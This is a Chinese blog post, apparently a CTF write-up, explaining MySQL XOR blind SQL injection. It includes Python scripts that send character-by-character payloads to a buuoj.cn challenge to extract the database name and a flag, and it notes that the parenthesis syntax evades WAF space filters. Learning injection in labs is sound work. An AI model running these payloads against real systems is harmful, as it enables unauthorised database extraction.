mysql异或注入

sqlmap对盲注的判断有所帮助,在真正注入的时候就感觉力不从心,又是需要手写一些注入的方法,假设已知表名falg,列名flag,记录一下mysql异或注入的方法。

0x01 注入原理

异或注入是通过where语句的111来进行判断和扩展的,首先在mysql里面进行下测试
sql select 1^1^1

mysqlxor1.PNG

sql select 1^1^0

mysqlxor2.PNG

sql select 1^0^0

mysqlxor3.PNG

sql select 0^0^0

mysqlxor4.PNG

通过测试我们可以知道,两真为假,两假为真,通过一个输入值具有正反两种情况的条件下,这个特性我们可以进行mysql的异或攻击了。

0x02 具体代码

注入数据库名

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ _{}+-*/="

url="http://a7d50de8-a34b-4eb5-987b-73e25e926229.node3.buuoj.cn/index.php"
#session=requests.session()   #如果需要session

def database():
   resutlt=""   
   for i in range(1,30):    
       for j in str_all:    
           playlod="1^(ascii(mid(database()from({})))={})^0".format(str(i),ord(j))    
           data = {   
               "id": playlod  #,   
               #"password": "123"   
           }   
           #s=session.post(url,data)   
           s = requests.post(url,data=data)   
           #print(playlod)    
           #print(s.text)   
           if "Error" in s.text:    
               resutlt+=j    
               print(resutlt)    
               break; 
database()                

通过上述方法可以使用information_schema.tables和information_schema.columns获取到表名,列名,记得使用group_concat()函数来连接具体数据,这里不再贴具体代码。
我们假设如果已经注入得到了表flag,列flag,具体得到数据的代码如下:

def getValue():
   resutlt=""

   for i in range(29,49):
       for j in str_all:
           #知道表名flag,列名flag

           playlod="1^(ascii(mid((select(flag)from(flag))from({})))={})^0".format(str(i),ord(j))
           data = {
               "id": playlod  #,
               #"password": "123"
           }
           #s=session.post(url,data)

           s = requests.post(url,data=data)
           print(playlod)
           #print(s.text)

           if "Error" in s.text:
               resutlt+=j
               print(resutlt)
               break;

在这里需要注意mid函数中括号的用法,这样的写法可以绕过多种waf,比如空格等情况。

你可能感兴趣的:(mysql异或注入)